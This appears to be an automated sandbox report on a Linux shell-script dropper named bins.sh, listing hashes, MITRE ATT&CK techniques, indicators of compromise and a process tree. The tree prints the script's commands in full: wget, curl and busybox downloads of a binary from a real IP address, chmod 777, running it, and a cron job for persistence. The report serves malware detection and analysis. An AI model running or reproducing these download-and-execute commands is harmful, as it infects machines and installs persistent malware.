9b575416eef5a3be461806b57cc99efdf999c9f6f07c6367d6dfb214637e4607

General

Target

bins.sh
Size

10KB
MD5

dc0ce8a1a92fcd65e74d86d4f034507f
SHA1

6c5ae4976fa6a4f05d607b9e9ada4f44288bea0a
SHA256

9b575416eef5a3be461806b57cc99efdf999c9f6f07c6367d6dfb214637e4607
SHA512

a920736e0bbea5c3db7143178398c9cb41e7f89962c0151dbdd8dbf6cda5c5f8c86d757abcde638eda555f1516b54ace20ec0380ff85e32d1616641ef53cd643
SSDEEP

192:mTXeYIJ7pJK7z3hrPwDHn08beSg7v727rPJy+MksWWeSkarPLrPZy+KksWAeS1r9:1ebOlR

Score

9^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (2212) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmod

pid process

1506 chmod
Executes dropped EXE 1 IoCs

Processes:

m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu

ioc pid process

/tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu 1507 m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
Renames itself 1 IoCs

Processes:

m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu

pid process

1508 m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
execution persistence privilege_escalatio

Cron
T1053.003

Processes:

crontab

description ioc process

File opened for modification /var/spool/cron/crontabs/tmp.zO73jo crontab
Enumerates running processes
Discovers information about currently running processes on the system

pid	process
1506	chmod

ioc	pid	process
/tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu	1507	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu

pid	process
1508	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu

description	ioc	process
File opened for modification	/var/spool/cron/crontabs/tmp.zO73jo	crontab

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu

description	ioc	process
File opened for reading	/proc/1685/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/81/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1592/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1610/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1109/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1573/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1722/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1300/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1555/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1575/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1691/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1740/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/162/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/170/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1060/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1817/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1718/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1759/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1822/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/318/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1666/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1714/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1624/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1776/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1808/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/29/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1579/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1584/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1811/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/479/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1526/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1644/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1593/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1670/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1742/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1757/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/166/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1561/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1591/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1599/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1652/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1814/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1785/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/35/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/943/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1641/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1597/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1688/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/20/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1562/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1589/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1669/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1693/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1699/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1764/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/22/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/449/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1568/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/948/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1552/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1713/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/3/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/488/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1668/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

Processes:

busyboxwgetcurl

description	ioc	process
File opened for modification	/tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu	busybox
File opened for modification	/tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu	wget
File opened for modification	/tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1498
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1499
- /usr/bin/wget
  wget http://87.120.125.191/bins/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  - Writes file to tmp directory
  PID:1500
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  - Writes file to tmp directory
  PID:1504
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  - Writes file to tmp directory
  PID:1505
- /bin/chmod
  chmod 777 m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  - File and Directory Permissions Modification
  PID:1506
- /tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  ./m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1507
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1509
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1510
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1511
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1512
- /bin/rm
  rm m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  PID:1514
- /usr/bin/wget
  wget http://87.120.125.191/bins/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  2⤵
  PID:1517

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Persistence

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Privilege Escalation

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Defense Evasion

File and Directory Permissions Modification

1

T1222

Linux and Mac File and Directory Permissions Modification

1

T1222.002

Credential Access

Discovery

Network Service Discovery

2

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/var/spool/cron/crontabs/tmp.zO73jo

Filesize
210B

MD5
10e1cf45ce105f853a77f7f16775e536

SHA1
bb81b014ee3d80ecdc8f3a7f964e308a659017b8

SHA256
32567569b8c88c2eff59a77943176ec5a5dbe17d09c7fde23df6e84ef42c741f

SHA512
786e29d34cc593e40b9110e6d18235b4a9d3cef58cc1e51f2ce2112171637997d390707005d87b3e40de9a19a289d87ae28a9db2bf6f44d6fd5c2b1a82268c9c

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads